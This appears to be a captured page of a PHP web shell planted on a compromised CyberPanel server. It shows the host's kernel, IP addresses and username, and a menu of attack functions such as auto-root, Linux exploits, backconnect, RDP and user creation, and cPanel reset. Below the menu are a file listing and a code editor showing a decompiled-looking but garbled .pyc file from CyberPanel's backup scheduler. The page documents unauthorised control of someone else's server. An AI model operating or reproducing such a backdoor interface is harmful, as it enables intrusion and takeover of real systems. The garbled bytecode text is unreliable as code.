Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
plogical /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
CyberCPLogFileWriter.cpython-3...
3.75
KB
-rw-r--r--
DockerSites.cpython-310.pyc
35.05
KB
-rw-r--r--
__init__.cpython-310.pyc
132
B
-rw-r--r--
acl.cpython-310.pyc
32.58
KB
-rw-r--r--
alias.cpython-310.pyc
1022
B
-rw-r--r--
applicationInstaller.cpython-3...
72.25
KB
-rw-r--r--
backupSchedule.cpython-310.pyc
10.72
KB
-rw-r--r--
backupUtilities.cpython-310.py...
47.59
KB
-rw-r--r--
childDomain.cpython-310.pyc
1.3
KB
-rw-r--r--
cronUtil.cpython-310.pyc
4.01
KB
-rw-r--r--
customACME.cpython-310.pyc
26.61
KB
-rw-r--r--
dnsUtilities.cpython-310.pyc
12.72
KB
-rw-r--r--
getSystemInformation.cpython-3...
4.3
KB
-rw-r--r--
hashPassword.cpython-310.pyc
853
B
-rw-r--r--
httpProc.cpython-310.pyc
3.27
KB
-rw-r--r--
installUtilities.cpython-310.p...
11.58
KB
-rw-r--r--
mailUtilities.cpython-310.pyc
59.57
KB
-rw-r--r--
mysqlUtilities.cpython-310.pyc
24.48
KB
-rw-r--r--
processUtilities.cpython-310.p...
14.36
KB
-rw-r--r--
randomPassword.cpython-310.pyc
565
B
-rw-r--r--
serverLogs.cpython-310.pyc
1.1
KB
-rw-r--r--
sslUtilities.cpython-310.pyc
24.18
KB
-rw-r--r--
sslv2.cpython-310.pyc
12.52
KB
-rw-r--r--
tuning.cpython-310.pyc
8.71
KB
-rw-r--r--
vhost.cpython-310.pyc
22.97
KB
-rw-r--r--
vhostConfs.cpython-310.pyc
14.2
KB
-rw-r--r--
virtualHostUtilities.cpython-3...
42.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backupSchedule.cpython-310.pyc
o ���h�X � @ s@ d dl Zd dlZd dlZej�d� ej�dd� e�� d dl m Z d dlZd dl Z d dlZd dlZd dlmZ d dlmZmZmZ d dlmZmZmZ d d lmZ d d lmZ d dlZd dlZd dlmZ d dl Z G dd � d �Z!dd� Z"dd� Z#e$dkr�e%dd�D ]Z&e&dks�e&dks�e&dkr�q�e � e&e#� q�e"� dS dS )� Nz/usr/local/CyberCP�DJANGO_SETTINGS_MODULEzCyberCP.settings)�CyberCPLogFileWriter)�backupUtilities)�match�I�M)�Backups� BackupJob� BackupJobLogs)�ProcessUtilities)�randint)�datetimec @ sn e Zd Ze�� ZdZdZdZdZdZ dZ eddd��Zedd� �Z eddd��Zedd d��Zedd� �ZdS )�backupScheduler � � z /home/cyberpanel/remoteBackupPIDc C s� zFt | d�}|�dt�d� d | d � tdt�d� d | d � |�� tjdkr1W d S ttj|dt�d� d | d�� � W d S t yY } zW Y d }~dS d }~ww ) N�a�[�%m.%d.%Y_%H-%M-%Sz] � r )�owner�status�messagezCan not write to error file.)�open� writelines�time�strftime�print�closer � backupLogr �save�IOError)�fileNamer r �file�msg� r$ �-/usr/local/CyberCP/plogical/backupSchedule.py�remoteBackupLogging s ,��z"backupSchedule.remoteBackupLoggingc C s$ �z�t �|d| � ttdd��}d| }t|d�}|�� t�� }t� || d��}t jd| |dd �}tj �tj�rBtj�|j� t�|j�}|d } t �|d� t�d� d | } d} | }tj �d|d�} tj �d|d�}tj �d|d�}z t|d��� }W n d}Y t�d�}tj �d�r�d| }tj�|� |�d�dks�|�d�dk�r�|�d| ��r�tj �d�r�d}tj�|� tj �| ��r�tj �d�r�d}tj�|� t| d��� } t�d� | �d �dk�rd!| }t�|� d!| }t�|� d!| }t�|� t �|d"| � zt�|� W n Y d| fW S | �d#�dk�r�tj �d��r6d$}tj�|� z7d!| }t�|� d!| }t�|� d!| }t�|� d%| }t�|� tjj|d&�}|D ]}|� � �qdW n Y t �|d'| | f t j!� zt�|� W n Y d%| }t�|� d| fW S tj �| ��r�tj �d��r�d(}tj�|� t �|d)t| d��� t j!� t�| � d%| }t�|� W d*S �ntj �d��r�d+}tj�|� tj �| ��rttj �d��r�d,}tj�|� t| d��� } t�d� | �d �dk�r=d!| }t�|� d!| }t�|� d!| }t�|� t �|d"| � zt�|� W n Y d| fW S tj �| ��rstj �d��rSd-}tj�|� t �|d)t| d��� t j!� t�| � d%| }t�|� W d*S nltj �d��r�d.}tj�|� |dk�r�tj �d��r�d/}tj�|� d%| }t�|� W d0S tj �| ��r�tj �d��r�d1}tj�|� t �|d)t| d��� t j!� t�| � d%| }t�|� W d*S t�d2� d}q^ t"�y } z$tj�t|�d3 � t �|d'| t|�f t j!� dt|�fW Y d }~S d }~ww )4NzStarting local backup for: i ʚ;l �c( z/home/cyberpanel/zw+)� randomFile�websiteToBeBackedz)https://localhost:%s/backup/localInitiateF)�data�verify�tempStoragez!Waiting for backup to complete.. � z/home/cyberpanel/%s-backup.txtr r �/homez backup/statuszbackup/backupFileNamez backup/pid�rz Fetching..�ps auxz/usr/local/CyberCP/debugz<Output of px aux when running remote backup status check: %s�startBackup���� BackupRootz/%s/zIf running found.z(If running found. and status file exists� � Completedzsudo rm -f zBackup Completed for: z[5009]z.If running found. status file exists but errorz rm -rf %s)r! z6Local backup creating failed for %s, Error message: %szMIf running found. status file exists, scheduler path also exists hence killedz Backup process killed. Error: %s)r zBackup process killed.zIf running not found.z(if running not found, Status file existszLif running not found, Status file exists, scheduler path exists thus killed.zStatus file does not exists.zOif running not found, Status file does not exists, kill counter 1, thus killed)r z8Backup process killed without reporting any error. [184]zSif running not found, Status file does not exists, scheduler path found thus killed� z [119:startBackup])#r r&